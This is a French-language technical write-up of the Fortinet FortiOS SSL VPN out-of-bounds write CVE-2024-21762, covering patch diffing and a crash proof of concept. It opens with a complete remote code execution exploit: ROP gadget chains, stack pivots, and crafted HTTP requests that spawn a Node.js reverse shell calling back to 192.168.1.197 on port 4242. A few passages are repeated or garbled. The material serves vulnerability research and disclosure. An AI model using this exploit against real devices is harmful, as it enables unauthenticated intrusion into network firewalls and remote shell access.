
vulnérabilité d'écriture hors limites dans Fortinet FortiOS CVE-2024-21762
Vulnérabilité d'écriture hors limites dans Fortinet FortiOS CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate a publié une mise à jour en février, corrigeant plusieurs vulnérabilités de risque moyen et élevé. L'une des vulnérabilités de niveau critique est une vulnérabilité d'écriture hors limites non authentifiée dans SSL VPN. L'avis de vulnérabilité indique que cette vulnérabilité pourrait être exploitée dans la nature. Cet article présentera l'analyse par l'auteur du processus d'exploitation de cette vulnérabilité pour parvenir à une exécution de code à distance.

L'environnement utilisé pour l'analyse de la vulnérabilité dans cet article est FGT_VM64-v7.4.2.F-build2571
En comparant les binaires des versions corrigées (7.4.2 et 7.4.3), l'analyse a révélé que le code de correction se situe dans la fonction sub_18F4980(7.4.2).

En analysant cette fonction, il n'est pas difficile de constater que sa logique consiste à lire les données du corps de la requête HTTP POST. En même temps, elle détermine, selon l'en-tête de requête Transfer-Encoding, si la lecture doit se faire au format chunk ou en fonction de Content-Length. D'après les résultats de la comparaison des graphes de flux de contrôle, deux modifications de code ont été apportées :
Lors de l'analyse du format chunk, ap_getline est appelé pour lire la longueur du chunk et il est vérifié si la valeur de retour de ap_getline est supérieure à 16. Si elle est supérieure à 16, la longueur du chunk est considérée comme illégale.

Lors de la lecture du trailer de chunk, la source du décalage auquel \r\n est écrit est la source d'affectation de line_off. Avant la correction, la valeur de line_off provenait de *(_QWORD *)(a1 + 744) ; après la correction, la valeur de retour provient de ap_getline.
En poursuivant la trace en avant, la valeur de *(_QWORD *)(a1 + 744) que l'on peut trouver est la longueur du champ de longueur de chunk de la première vérification.

En poursuivant la trace en avant, la valeur de *(_QWORD *)(a1 + 744) que l'on peut trouver est la longueur du champ de longueur de chunk de la première vérification.

Parallèlement, la lecture du code indique que lorsque la valeur du champ de longueur de chunk est 0 après décodage hexadécimal, on entre dans la logique de lecture du trailer de chunk.
Après avoir analysé le correctif, nous pouvons tirer les conclusions suivantes :
ap_getline pour lire le trailer de chunk, \r\n sera écrit dans le tampon en fonction de la longueur du champ de longueur de chunk.\r\n sera déclenchée. Grâce au débogage, nous pouvons savoir que le tampon cible est situé sur la pile (fonction sub_1A111E0) et que l'adresse de retour est stockée au décalage 0x2028. Si \r\n est écrit au décalage 0x202e, un crash se produira en raison d'une adresse illégale lorsque la fonction reviendra pour exécuter l'instruction ret afin de reprendre rip.PoC du crash :
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Scène du crash :

En analysant la cause de la vulnérabilité, on peut voir qu'elle peut être utilisée pour écrire deux octets \r\n hors limites sur la pile, et la portée du dépassement est proche de 0x2000. Étant donné que le contenu écrit est très limité, il est impossible d'obtenir une RCE en détournant directement rip. Il faut donc se concentrer sur les pointeurs mémoire sauvegardés sur la pile.